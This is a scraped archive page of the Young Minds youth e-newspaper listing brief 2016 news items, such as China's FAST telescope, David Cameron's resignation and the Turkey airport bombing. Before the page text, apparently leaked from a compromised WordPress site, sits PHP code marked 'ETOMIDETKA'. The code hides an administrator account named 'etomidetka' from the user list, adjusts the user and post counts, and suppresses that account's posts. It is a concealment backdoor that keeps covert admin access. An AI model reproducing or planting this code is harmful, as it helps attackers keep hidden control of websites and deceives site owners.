//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 41

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 41)
China builds the world’s largest radio telescope

China builds the world’s largest radio telescope

In order to hunt for extraterrestrial life and explore space, China has built the world’s largest radio telescope, named FAST (Five Hundred Metre …

July 4, 2016 | Main News
Amazon named the world’s smartest company of 2016

Amazon named the world’s smartest company of 2016

Jeff Bezos-led online retail giant Amazon has topped MIT’s annual list of the world’s smartest companies of 2016 for combining innovative technology with …

July 1, 2016 | Main News
Rodrigo Duterte sworn in as Philippines president

Rodrigo Duterte sworn in as Philippines president

Rodrigo Duterte has been sworn in as the president of the Philippines, after a landslide election victory in May.The controversial former mayor of Davao City, …

June 30, 2016 | Main News
50 killed in blasts at Turkey airport

50 killed in blasts at Turkey airport

At least 50 people have been killed and several injured in an attack by three suicide bombers on Turkey’s largest and Europe’s third-busiest airport, …

June 29, 2016 | Main News
Britain may see new PM by early September

Britain may see new PM by early September

Britain could have a new prime minister by early September, after David Cameron started laying the groundwork for his successor to trigger the country`s exit …

June 29, 2016 | Main News
British PM David Cameron announces resignation

British PM David Cameron announces resignation

British Prime Minister David Cameron has announced his resignation after Britain voted to leave the European Union in a referendum. The PM had urged the …

June 24, 2016 | Main News
Kuwait seeks $1 bn damages over Olympic ban

Kuwait seeks $1 bn damages over Olympic ban

The Kuwait government has filed a lawsuit in a Swiss court, seeking $1 bn as damages from the International Olympic Committee, following the country’s …

June 24, 2016 | Main News
PM Modi to get new ‘Air India One’ plane

PM Modi to get new ‘Air India One’ plane

Prime Minister of India is set to get a brand new Air India One aircraft, much like US President Barack Obamas Air Force One. It will be equipped with hi-tech …

June 23, 2016 | Main News
Bullet train to connect New Delhi and Varanasi

Bullet train to connect New Delhi and Varanasi

India is expected to get its second bullet train service on Delhi and Varanasi route. The Modi government has proposed bullet train connectivity between the …

June 21, 2016 | Main News
The world’s first 1,000-processor microchip

The world’s first 1,000-processor microchip

A microchip containing 1,000 independent programmable processors has been designed by a team at the University of California, Davis, Department of Electrical …

June 20, 2016 | Main News
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds